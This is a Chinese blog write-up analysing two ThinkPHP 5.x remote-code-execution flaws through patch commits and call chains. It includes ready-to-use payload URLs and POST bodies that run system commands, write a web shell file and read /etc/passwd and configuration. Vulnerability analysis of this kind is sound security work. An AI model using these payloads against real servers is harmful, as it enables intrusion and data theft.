环境搭建基础可以参考SQL注入篇和官方文档

代码执行1

通过传参可以调用任意类方法,调用一些具有回调功能的函数时可以导致代码执行。

影响版本:

  • 5.0.7<=ThinkPHP<=5.0.22
  • 5.1.0<=ThinkPHP<=5.1.30
1
2
3
4
5
6
7
8
9
10
11
12
http://localhost/tpdemo/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

# 5.1
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

# 5.0
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../runtime/log/202012/02.log # 包含任意文件
?s=index/\think\Config/load&file=/var/www/html/index.php # 包含任意.php文件

漏洞分析

5.0.23版本更新说明中表示包含一个安全更新,具体看到改进控制器获取这个commit

加了个限制大小写字母的过滤。从官方文档可以知道,获取控制器的方式取决于用的哪种路由模式,ThinkPHP默认无强制路由、支持兼容模式,SQL注入篇中都是用的?s=/模块/控制器/方法这种Payload,此处可以合理猜测能够调用到危险方法。

将源码更新为5.0.22,直接全局搜索evalassertsystem这类赤果果的关键词基本没得搞头,但是搜回调类、反射类的函数就会眼前一亮。

reflect为例搜到的App类(thinkphp/library/think/App.php)第一条结果就是一个静态invokeFunction方法,invokeArgs方法类似call_user_func_array函数,只要$function$args可控就能实现控制任意函数和参数代码执行了。跟进self::bindParams方法可以看到它的作用就是获取传入的参数,通过完全限定名称的命名空间调用并无脑传参就行了。

5.1版本的利用方法类似而且能利用的类比5.0更多,官方正则判断的修复方式就是卡了命名空间的逃逸。

  • $_SERVER['PATH_INFO']会将\转为/

代码执行2

影响版本:

  • 5.0.0<=ThinkPHP5<=5.0.23
  • 5.1.0<=ThinkPHP<=5.1.30
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ThinkPHP <= 5.0.13
POST /?s=index/index
sss=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls -al
_method=__construct&filter[]=system&method=get&route[]=ls -al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al
# 包含任意文件
_method=__construct&method=get&filter[]=think\__include_file&server[REQUEST_METHOD]=/etc/passwd

# 5.1.17 <= ThinkPHP5 <= 5.1.32 需要error_reporting(0);
c=exec&f=calc.exe&_method=filter

漏洞分析

5.0.24版本更新说明中表示包含一个安全更新,具体看到改进Request类这个commit

调用Request类方法前做了白名单判断,猜测漏洞可能是能调用当前类任意方法,找到Config::get('var_method')对应的值为_method

回顾一下SQL注入篇中说过凡是使用框架提供的请求变量获取方法(Request类param方法及input助手函数),都会经过这个filterExp方法的过滤,其中的filterExp方法是被filterValue方法拉起调用的,而filterValue方法中就存在敏感函数call_user_func

全局搜索对应的filterValue方法,看到可以由824行的cookie方法或是由994行的input方法触发(但是似乎框架默认逻辑没有用到cookie方法)。

跟进getFilter方法后看上去影响不大先不管,回来继续向上跟进array_walk_recursive函数传递的第一和第三个参数,进而寻找调用了input方法的地方(->input\(|::input\():

这个构造函数简直来得不要太妙(是个伏笔2333):如果当前类中的属性名有与$options数组中键名相同的,就会被覆盖为相应的键值,并且给$this->input属性赋值了完全可控的php://input

有很多地方调用了input方法,先看下Request类的param方法:

出现了被更新白名单的method方法,至此利用链的链尾已经基本清晰:

?->param->methodinput->filterValue->call_user_func

接下来需要思考如何通过Request类的某个方法修改默认为空的$filter的值呢?刚才那个构造函数刚好可以实现对$this->filter变量覆盖!也就是通过$_POST传入_method=__construct&filter[]=system。搞定了一个参数,继续想办法搞定另外一个参数:

继续通过变量覆盖控制$this->get或者$this->route的值,就能直接进到input方法中。也就是继续通过$_POST传入&get[]=whoami或是&route[]=whoami,此时如果'app_debug' => true,就可以直接看到命令执行结果:

这也印证了此时的param方法确实被框架调用了,但是一旦关掉app_debug就会发现并不能RCE了 T^T,显然事情没这么简单,我们还是得继续老实向前分析调用栈。动态调试一下看看调用栈里是谁翻了param方法的牌子:

self::$debug就是框架从配置文件中加载的值,所以关掉app_debug就不会调用到param方法了(淦)。那还有没有办法调用到呢?全局搜索可以看到当App类的exec方法中$dispatch['type']controller或是method时就可以。

于是继续跟进方法调用和变量传递:

check方法里面有点复杂。。。马后炮一下直接先看parseRule方法:

需要$route\或者@,继续回去跟进变量传递:

TP5完整版或是通过composer require topthink/think-captcha 1.*安装的验证码扩展,会在vendor/topthink/think-captcha/src/helper.php中注册一条get路由。由于此处$method是通过$request->method()获取到的,所以能够通过$_POST传入&method=get间接对其进行变量覆盖。

参考链接

ThinkPHP5.0.x RCE分析与利用

THINKPHP 5.X RCE 漏洞分析与利用总结

天融信关于ThinkPHP5.1框架结合RCE漏洞的深入分析

ThinkPHP-Vuln

ThinkPHP 组件漏洞与攻击链分析